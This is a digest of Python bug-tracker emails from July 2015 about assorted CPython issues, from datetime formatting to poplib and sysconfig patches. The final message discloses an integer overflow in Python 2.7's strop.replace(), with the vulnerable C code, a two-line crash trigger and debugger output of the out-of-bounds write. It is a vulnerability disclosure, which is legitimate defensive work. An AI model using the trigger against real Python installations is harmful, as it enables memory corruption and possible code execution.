Issue #24620: Random.setstate() now validates the value of state last element.
https://hg.python.org/cpython/rev/d8229c26dd92

New changeset f6e399ae670f by Serhiy Storchaka in branch 'default':
Issue #24620: Random.setstate() now validates the value of state last element.
https://hg.python.org/cpython/rev/f6e399ae670f

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 08:12:27 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 06:12:27 +0000
Subject: [issue24620] Segfault with nonsensical random state
In-Reply-To: <1436728764.28.0.733775785624.issue24620@psf.upfronthosting.co.za>
Message-ID: <1437718347.41.0.0202238217733.issue24620@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 09:49:29 2015
From: report at bugs.python.org (Pankaj Sharma)
Date: Fri, 24 Jul 2015 07:49:29 +0000
Subject: [issue24704] Dereferencing  a Null Pointer
Message-ID: <1437724169.48.0.168989772331.issue24704@psf.upfronthosting.co.za>


New submission from Pankaj Sharma:

Hi,
Reporting bugs for dereferencing a pointer "m"  might be NULL.
the respective patch have been attached ,please check and review it.

thanks!

----------
components: Extension Modules, Library (Lib)
files: Python-2.7.10-json.patch
keywords: patch
messages: 247262
nosy: benjamin.peterson, pankaj.s01
priority: normal
severity: normal
status: open
title: Dereferencing  a Null Pointer
type: crash
versions: Python 2.7
Added file: http://bugs.python.org/file40005/Python-2.7.10-json.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 10:35:13 2015
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 24 Jul 2015 08:35:13 +0000
Subject: [issue24697] Add CoroutineReturn and CoroutineExit builtin exceptions
 for coroutines
In-Reply-To: <1437683246.93.0.438502224429.issue24697@psf.upfronthosting.co.za>
Message-ID: 


Nick Coghlan added the comment:

My initial inclination is to agree with Stefan. At the moment, we have a
slightly leaky abstraction where the exceptions used mean that coroutines
still expose the fact that under the covers they're defined in terms of
generator semantics.

However, that leak in the abstraction reveals an underlying truth -
coroutine semantics *are* derived from generator semantics, and they *do*
share common underlying infrastructure.

We may eventually find pragmatic reasons for wanting to plug that leak and
use separately named exceptions, but unlike the situation with coroutines
themselves, I'm not currently seeing a clear gain in either usability or
comprehensibility as a payoff for the extra complexity.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 10:36:17 2015
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 24 Jul 2015 08:36:17 +0000
Subject: [issue24302] Dead Code of Handler check in function
 faulthandler_fatal_error()
In-Reply-To: <1437716802.71.0.382147811671.issue24302@psf.upfronthosting.co.za>
Message-ID: 


STINNER Victor added the comment:

The check is required to fix a compiler warning. Please keep it, it doesn't
bite.

Maybe add a comment to explain it.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 11:45:49 2015
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 24 Jul 2015 09:45:49 +0000
Subject: [issue19475] Add microsecond flag to datetime isoformat()
In-Reply-To: <1383325521.57.0.024650274045.issue19475@psf.upfronthosting.co.za>
Message-ID: <1437731149.96.0.528464343292.issue19475@psf.upfronthosting.co.za>


Changes by Berker Peksag :


----------
stage: resolved -> needs patch
superseder: datetime: add ability to parse RFC 3339 dates and times -> 
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 11:53:22 2015
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 24 Jul 2015 09:53:22 +0000
Subject: [issue19475] Add microsecond flag to datetime isoformat()
In-Reply-To: <1383325521.57.0.024650274045.issue19475@psf.upfronthosting.co.za>
Message-ID: <1437731602.55.0.218529487768.issue19475@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> 'seconds' - %H:%M:%S
> 'us' - %H:%M:%S.%f

'us' is not consistent with the datetime module: it should be 'microseconds.

>>> datetime.datetime.now().second
50
>>> datetime.timedelta(seconds=1)
datetime.timedelta(0, 1)

>>> datetime.datetime.now().microsecond
123710
>>> datetime.timedelta(microseconds=1)
datetime.timedelta(0, 0, 1)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 11:53:38 2015
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 24 Jul 2015 09:53:38 +0000
Subject: [issue19475] Add timespec optional flag to datetime isoformat() to
 choose the precision
In-Reply-To: <1383325521.57.0.024650274045.issue19475@psf.upfronthosting.co.za>
Message-ID: <1437731618.58.0.0953821695815.issue19475@psf.upfronthosting.co.za>


Changes by STINNER Victor :


----------
title: Add microsecond flag to datetime isoformat() -> Add timespec optional flag to datetime isoformat() to choose the precision

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 11:54:16 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 09:54:16 +0000
Subject: [issue24704] Dereferencing  a Null Pointer
In-Reply-To: <1437724169.48.0.168989772331.issue24704@psf.upfronthosting.co.za>
Message-ID: <1437731655.99.0.836108198729.issue24704@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM.

----------
assignee:  -> serhiy.storchaka
nosy: +serhiy.storchaka
stage:  -> commit review

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 11:58:59 2015
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 24 Jul 2015 09:58:59 +0000
Subject: [issue24704] Dereferencing  a Null Pointer
In-Reply-To: <1437724169.48.0.168989772331.issue24704@psf.upfronthosting.co.za>
Message-ID: <20150724095855.24768.91249@psf.io>


Roundup Robot added the comment:

New changeset a1a1e3fe837a by Serhiy Storchaka in branch '2.7':
Issue #24704: Fixed possible NULL pointer dereferencing in the _json module
https://hg.python.org/cpython/rev/a1a1e3fe837a

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 11:59:50 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 09:59:50 +0000
Subject: [issue24704] Dereferencing  a Null Pointer
In-Reply-To: <1437724169.48.0.168989772331.issue24704@psf.upfronthosting.co.za>
Message-ID: <1437731990.39.0.0903008160002.issue24704@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thank you for your contribution Pankaj.

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 12:41:57 2015
From: report at bugs.python.org (Cyd Haselton)
Date: Fri, 24 Jul 2015 10:41:57 +0000
Subject: [issue23496] Steps for Android Native Build of Python 3.4.2
In-Reply-To: <1437696635.77.0.915658424679.issue23496@psf.upfronthosting.co.za>
Message-ID: 


Cyd Haselton added the comment:

I'm compiling for ARM, not ARM64, on an armv7 device.

On July 23, 2015 7:10:35 PM CDT, Russell Keith-Magee  wrote:
>
>Russell Keith-Magee added the comment:
>
>What hardware architecture are you compiling for? If it's ARM64, and
>you're not using a trunk version of libffi, that segfault in
>test_ctypes is to be expected.
>
>----------
>
>_______________________________________
>Python tracker 
>
>_______________________________________

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 13:45:07 2015
From: report at bugs.python.org (=?utf-8?q?Alex_Gr=C3=B6nholm?=)
Date: Fri, 24 Jul 2015 11:45:07 +0000
Subject: [issue24383] consider implementing __await__ on
 concurrent.futures.Future
In-Reply-To: <1433432578.55.0.498116142035.issue24383@psf.upfronthosting.co.za>
Message-ID: <1437738307.26.0.0197959915604.issue24383@psf.upfronthosting.co.za>


Alex Gr?nholm added the comment:

Yes, Yury's approach is wrong here -- Futures should not know about asyncio, but asyncio should be able to handle Futures natively. This seems like the obvious solution to me. Any counterarguments?

----------
nosy: +alex.gronholm

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 13:54:48 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 24 Jul 2015 11:54:48 +0000
Subject: [issue24383] consider implementing __await__ on
 concurrent.futures.Future
In-Reply-To: <1437738307.26.0.0197959915604.issue24383@psf.upfronthosting.co.za>
Message-ID: <4F5BFBE0-04C3-4F95-B169-9E747093B0CF@gmail.com>


Yury Selivanov added the comment:

> Any counterarguments?

There are no counterarguments. There is no obvious way to support concurrent.futures transparently, though:

   await conc_fut

requires conc_fut to implement __await__.

So we either have to implement __await__ for concurrent futures and provide some kind of registry for frameworks, or we can implement a wrapper function:

    await asyncio_compat(conc_fut)

Anyways, concrete ideas and API suggestions are welcome.

----------
nosy: +Yury.Selivanov

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 14:13:00 2015
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 24 Jul 2015 12:13:00 +0000
Subject: [issue24705] sysconfig._parse_makefile doesn't expand ${} vars
 appearing before $() vars
Message-ID: <1437739980.61.0.17161588188.issue24705@psf.upfronthosting.co.za>


New submission from Matthias Klose:

LIPL has the value

  ${prefix}/lib/python3.5/config-$(VERSION)$(ABIFLAGS)-x86_64-linux-gnu

and the code relies to substitute parameters from the left to the right, but it prefers $() variables. the attached patch substitutes all variables from the left to the right.

diff -r d8229c26dd92 Lib/sysconfig.py
--- a/Lib/sysconfig.py	Fri Jul 24 09:05:59 2015 +0300
+++ b/Lib/sysconfig.py	Fri Jul 24 14:04:57 2015 +0200
@@ -260,7 +260,12 @@
     while len(variables) > 0:
         for name in tuple(variables):
             value = notdone[name]
-            m = _findvar1_rx.search(value) or _findvar2_rx.search(value)
+            m1 = _findvar1_rx.search(value)
+            m2 = _findvar2_rx.search(value)
+            if m1 and m2:
+                m = m1 if m1.start() < m2.start() else m2
+	    else:
+                m = m1 if m1 else m2
             if m is not None:
                 n = m.group(1)
                 found = True

----------
assignee: doko
components: Library (Lib)
messages: 247272
nosy: doko
priority: normal
severity: normal
status: open
title: sysconfig._parse_makefile doesn't expand ${} vars appearing before $() vars
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 14:43:45 2015
From: report at bugs.python.org (Mehdi ABAAKOUK)
Date: Fri, 24 Jul 2015 12:43:45 +0000
Subject: [issue22737] Provide a rejected execution model and implementations
 for futures.
In-Reply-To: <1414377539.49.0.348706562954.issue22737@psf.upfronthosting.co.za>
Message-ID: <1437741825.2.0.284752417879.issue22737@psf.upfronthosting.co.za>


Changes by Mehdi ABAAKOUK :


----------
nosy: +sileht

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 15:14:47 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 13:14:47 +0000
Subject: [issue24705] sysconfig._parse_makefile doesn't expand ${} vars
 appearing before $() vars
In-Reply-To: <1437739980.61.0.17161588188.issue24705@psf.upfronthosting.co.za>
Message-ID: <1437743687.97.0.387019494364.issue24705@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Could you please provide an example where unpatched code fails but patched code work?

----------
nosy: +serhiy.storchaka, tarek
stage:  -> test needed
type:  -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 15:27:38 2015
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 24 Jul 2015 13:27:38 +0000
Subject: [issue24705] sysconfig._parse_makefile doesn't expand ${} vars
 appearing before $() vars
In-Reply-To: <1437739980.61.0.17161588188.issue24705@psf.upfronthosting.co.za>
Message-ID: <1437744458.76.0.282720809179.issue24705@psf.upfronthosting.co.za>


Matthias Klose added the comment:

On 07/24/2015 03:14 PM, Serhiy Storchaka wrote:
>
> Serhiy Storchaka added the comment:
>
> Could you please provide an example where unpatched code fails but patched code work?

yes, see the substitution for the LIBPL macro, which leaves ${prefix} unexpanded.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 15:43:54 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 13:43:54 +0000
Subject: [issue24705] sysconfig._parse_makefile doesn't expand ${} vars
 appearing before $() vars
In-Reply-To: <1437739980.61.0.17161588188.issue24705@psf.upfronthosting.co.za>
Message-ID: <1437745434.05.0.76828938182.issue24705@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Sorry, I don't understand your example. Could you please provide reproducible Python code? Or better a patch for Lib/test/test_sysconfig.py?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 16:26:13 2015
From: report at bugs.python.org (Eric Frederich)
Date: Fri, 24 Jul 2015 14:26:13 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
In-Reply-To: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>
Message-ID: <1437747973.16.0.675256529631.issue24685@psf.upfronthosting.co.za>


Eric Frederich added the comment:

I understand that in the general case you cannot just swap the order around and get the same behaviour.

This LoggingDict just prints some stuff to the screen and delegates to super and so I believe it should work wherever it is placed in a cooperative hierarchy.  Do you agree?

Now, I understand that OrderedDict is not cooperative.  You stated that this is a design decision and I respect that choice, but you also stated that classes can be made to be cooperative by creating a wrapper.

The reason I re-opened this bug is because I fail to see a way in which to create such a wrapper for Python3.  Do you believe that it should be possible to create a cooperative wrapper?

If it is possible (and its just my inability to create one) then I have no issue and the bug should be closed.
If it is not possible, then perhaps it could be noted somewhere that its not cooperative and impossible to make it cooperative and it should be listed last when using multiple inheritance.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 16:38:02 2015
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 24 Jul 2015 14:38:02 +0000
Subject: [issue24695] Don't print traceback header if traceback is None in
 TracebackException
In-Reply-To: <1437662539.63.0.637524686399.issue24695@psf.upfronthosting.co.za>
Message-ID: <20150724143652.51998.59423@psf.io>


Roundup Robot added the comment:

New changeset b45077269aaa by Berker Peksag in branch '3.5':
Issue #24695: Fix a regression in traceback.print_exception()
https://hg.python.org/cpython/rev/b45077269aaa

New changeset 2825c87d3f72 by Berker Peksag in branch 'default':
Issue #24695: Fix a regression in traceback.print_exception()
https://hg.python.org/cpython/rev/2825c87d3f72

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 16:39:03 2015
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 24 Jul 2015 14:39:03 +0000
Subject: [issue24695] Don't print traceback header if traceback is None in
 TracebackException
In-Reply-To: <1437662539.63.0.637524686399.issue24695@psf.upfronthosting.co.za>
Message-ID: <1437748743.76.0.4923452856.issue24695@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Fixed in 3.5 and default branches. Thank you for your review, Raymond.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 16:51:10 2015
From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=)
Date: Fri, 24 Jul 2015 14:51:10 +0000
Subject: [issue24695] Don't print traceback header if traceback is None in
 TracebackException
In-Reply-To: <1437662539.63.0.637524686399.issue24695@psf.upfronthosting.co.za>
Message-ID: <1437749470.9.0.450922373119.issue24695@psf.upfronthosting.co.za>


Adam Barto? added the comment:

Thank you all for a quick reaction.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 17:12:52 2015
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 24 Jul 2015 15:12:52 +0000
Subject: [issue10708] Misc/porting should be folded into the development FAQ
 or the devguide
In-Reply-To: <1292427453.79.0.452399127359.issue10708@psf.upfronthosting.co.za>
Message-ID: <20150724151249.47921.28027@psf.io>


Roundup Robot added the comment:

New changeset d6e10dfbeab1 by Berker Peksag in branch 'default':
Issue #10708: Add a FAQ entry about porting Python to a new platform.
https://hg.python.org/devguide/rev/d6e10dfbeab1

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 17:16:03 2015
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 24 Jul 2015 15:16:03 +0000
Subject: [issue10708] Misc/porting should be folded into the development FAQ
 or the devguide
In-Reply-To: <1292427453.79.0.452399127359.issue10708@psf.upfronthosting.co.za>
Message-ID: <1437750963.38.0.692106396211.issue10708@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Applied it with minor changes. Thanks for the great patch, Paul Anton Letnes.

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 17:20:08 2015
From: report at bugs.python.org (Chris Smowton)
Date: Fri, 24 Jul 2015 15:20:08 +0000
Subject: [issue23906] poplib maxline behaviour may be wrong
In-Reply-To: <1428679593.1.0.415911204922.issue23906@psf.upfronthosting.co.za>
Message-ID: <1437751208.49.0.490626203819.issue23906@psf.upfronthosting.co.za>


Chris Smowton added the comment:

Why wouldn't that fix the problem? The issue is poplib not tolerating server behaviour seen in the wild, and if you limit by message size not line length you shouldn't see this problem?

(Side note, I'm surprised not to have been emailed when you replied, any idea what I'm missing?)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 17:24:32 2015
From: report at bugs.python.org (Chris Smowton)
Date: Fri, 24 Jul 2015 15:24:32 +0000
Subject: [issue24706] poplib: Line too long error causes knock-on failure to
 retrieve all subsequent messages
Message-ID: <1437751472.65.0.0474991915095.issue24706@psf.upfronthosting.co.za>


New submission from Chris Smowton:

As mentioned in #23906, when poplib bails from receiving a message with a 'line too long' error it neither flushes nor re-establishes the TCP connection. This means that subsequent commands fail because instead of the expected response we receive part of the unflushed data from the message that triggered the original error.

----------
components: Library (Lib)
messages: 247283
nosy: Chris Smowton
priority: normal
severity: normal
status: open
title: poplib: Line too long error causes knock-on failure to retrieve all subsequent messages
versions: Python 2.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 17:25:14 2015
From: report at bugs.python.org (Chris Smowton)
Date: Fri, 24 Jul 2015 15:25:14 +0000
Subject: [issue23906] poplib maxline behaviour may be wrong
In-Reply-To: <1428679593.1.0.415911204922.issue23906@psf.upfronthosting.co.za>
Message-ID: <1437751514.53.0.819643700509.issue23906@psf.upfronthosting.co.za>


Chris Smowton added the comment:

Created #24706 to describe the unflushed connection problem.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 17:32:16 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 15:32:16 +0000
Subject: [issue15657] Error in Python 3 docs for PyMethodDef
In-Reply-To: <1344970966.7.0.115664419243.issue15657@psf.upfronthosting.co.za>
Message-ID: <1437751936.38.0.612804626801.issue15657@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

In 3.5 it would be better to make METH_KEYWORDS == METH_VARARGS | METH_KEYWORDS.

Current definition:

#define METH_VARARGS  0x0001
#define METH_KEYWORDS 0x0002

Should be:

#define METH_VARARGS  0x0001
#define METH_KEYWORDS 0x0003

But it can't be applied in maintained releases. In 3.4 and 2.7 we should add explicit test as in the patch or change the documentation.

If fix the code rather than documentation in 3.4 and 2.7, then the versionchanged directive in 3.5 shouldn't be added.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 17:36:50 2015
From: report at bugs.python.org (Joe Jevnik)
Date: Fri, 24 Jul 2015 15:36:50 +0000
Subject: [issue24379] operator.subscript
In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za>
Message-ID: <1437752210.41.0.104683222967.issue24379@psf.upfronthosting.co.za>


Joe Jevnik added the comment:

Any more comments?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 17:42:42 2015
From: report at bugs.python.org (Robert Collins)
Date: Fri, 24 Jul 2015 15:42:42 +0000
Subject: [issue24699] TemporaryDirectory is cleaned up twice
In-Reply-To: <1437691863.88.0.795764975498.issue24699@psf.upfronthosting.co.za>
Message-ID: <1437752562.5.0.2763427767.issue24699@psf.upfronthosting.co.za>


Robert Collins added the comment:

I think you may need to instrument TemporaryDirectory._cleanup to be sure, but it sounds like its being run twice.

now, you're not using it like a context manager (at least as far as your code shows), so it must be happening from the weakref.

https://docs.python.org/3/library/weakref.html#weakref.finalize is the relevant docs for that.

The code looks ok as long as finalize triggers once and only once. Perhaps it should call the finalize() rather than manually calling _cleanup, in cleanup, but I don't see that that should make much difference. I would have thought it a deliberate attempt to avoid some bit of code (e.g. the resource warning), but since its a shared helper, thats not it.

And finalize._exitfunc looks entirely sane to me.

So - I suggest adding a call to print_stack in TemporaryDirectory._cleanup, to see the entire stack, and then hopefully we'll see two such printouts when this error happens, and be able to pinpoint how it's being called twice.

----------
nosy: +rbcollins

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 17:53:37 2015
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 24 Jul 2015 15:53:37 +0000
Subject: [issue24707] Assertion failed in pymonotonic_new
Message-ID: <1437753217.88.0.997352550114.issue24707@psf.upfronthosting.co.za>


New submission from Berker Peksag:

>From http://buildbot.python.org/all/builders/AMD64%20Debian%20root%203.x/builds/2436:

python: Python/pytime.c:633: pymonotonic_new: Assertion `!last_set || last <= *tp' failed.
Fatal Python error: Aborted

Full log is here: http://buildbot.python.org/all/builders/AMD64%20Debian%20root%203.x/builds/2436/steps/test/logs/stdio

----------
components: Interpreter Core
messages: 247288
nosy: berker.peksag, haypo
priority: normal
severity: normal
status: open
title: Assertion failed in pymonotonic_new
type: behavior
versions: Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 18:06:23 2015
From: report at bugs.python.org (R. David Murray)
Date: Fri, 24 Jul 2015 16:06:23 +0000
Subject: [issue23906] poplib maxline behaviour may be wrong
In-Reply-To: <1428679593.1.0.415911204922.issue23906@psf.upfronthosting.co.za>
Message-ID: <1437753983.75.0.29399060742.issue23906@psf.upfronthosting.co.za>


R. David Murray added the comment:

Sorry, I was unclear.  In order to implement maximum message size we have to do a bit more to the logic than just use the max message size as the readline limit.  But it does seem like the right approach to me.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 18:26:20 2015
From: report at bugs.python.org (John Leitch)
Date: Fri, 24 Jul 2015 16:26:20 +0000
Subject: [issue24708] strop.replace Integer Overflow
Message-ID: <1437755180.21.0.715068940174.issue24708@psf.upfronthosting.co.za>


New submission from John Leitch:

The Python strop.replace() method suffers from an integer overflow that can be exploited to write outside the bounds of the string buffer and potentially achieve code execution. The issue can be triggered by performing a large substitution that overflows the arithmetic used in mymemreplace() to calculate the size of the new string:

static char *
mymemreplace(const char *str, Py_ssize_t len,           /* input string */
         const char *pat, Py_ssize_t pat_len,           /* pattern string to find */
         const char *sub, Py_ssize_t sub_len,           /* substitution string */
         Py_ssize_t count,                              /* number of replacements */
         Py_ssize_t *out_len)
{
    [...]

    new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here.
    if (new_len == 0) {
        /* Have to allocate something for the caller to free(). */
        out_s = (char *)PyMem_MALLOC(1);
        if (out_s == NULL)
            return NULL;
        out_s[0] = '\0';
    }
    else {
        assert(new_len > 0);
        new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value.
        if (new_s == NULL)
            return NULL;
        out_s = new_s;

        for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value.
            /* find index of next instance of pattern */
            offset = mymemfind(str, len, pat, pat_len);
            if (offset == -1)
                break;

            /* copy non matching part of input string */
            memcpy(new_s, str, offset);
            str += offset + pat_len;
            len -= offset + pat_len;

            /* copy substitute into the output string */
            new_s += offset;
            memcpy(new_s, sub, sub_len);
            new_s += sub_len;
        }
        /* copy any remaining values into output string */
        if (len > 0)
            memcpy(new_s, str, len);
    }
    [...]
}

The following script demonstrates the issue:

import strop
strop.replace("\x75"*0xEAAA,"\x75","AA"*0xAAAA)

When run under a debugger, it produces the following exception:

0:000> r
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> db edi-0x10
57095ff0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
57096000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> db esi
01e3dde8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3ddf8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de08  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de18  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de28  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de38  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de48  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de58  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> k
ChildEBP RetAddr  
0027fca0 1e056efc MSVCR90!memcpy+0x5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
0027fcd0 1e05700b python27!mymemreplace+0xfc [c:\build27\cpython\modules\stropmodule.c @ 1139]
0027fd18 1e0aaed7 python27!strop_replace+0xbb [c:\build27\cpython\modules\stropmodule.c @ 1185]
0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47 [c:\build27\cpython\objects\methodobject.c @ 81]
0027fd5c 1e0f012a python27!call_function+0x2b0 [c:\build27\cpython\python\ceval.c @ 4035]
0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a [c:\build27\cpython\python\ceval.c @ 2684]
0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690 [c:\build27\cpython\python\ceval.c @ 3267]
0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 674]
0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371]
0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753]
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643]
0027ff80 74b97c04 python!__tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
0027ff94 7701ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> !analyze -v -nodb
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 7026ae7a (MSVCR90!memcpy+0x0000005a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 57096000
Attempt to write to address 57096000

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

FAULTING_THREAD:  00001408

PROCESS_NAME:  python.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

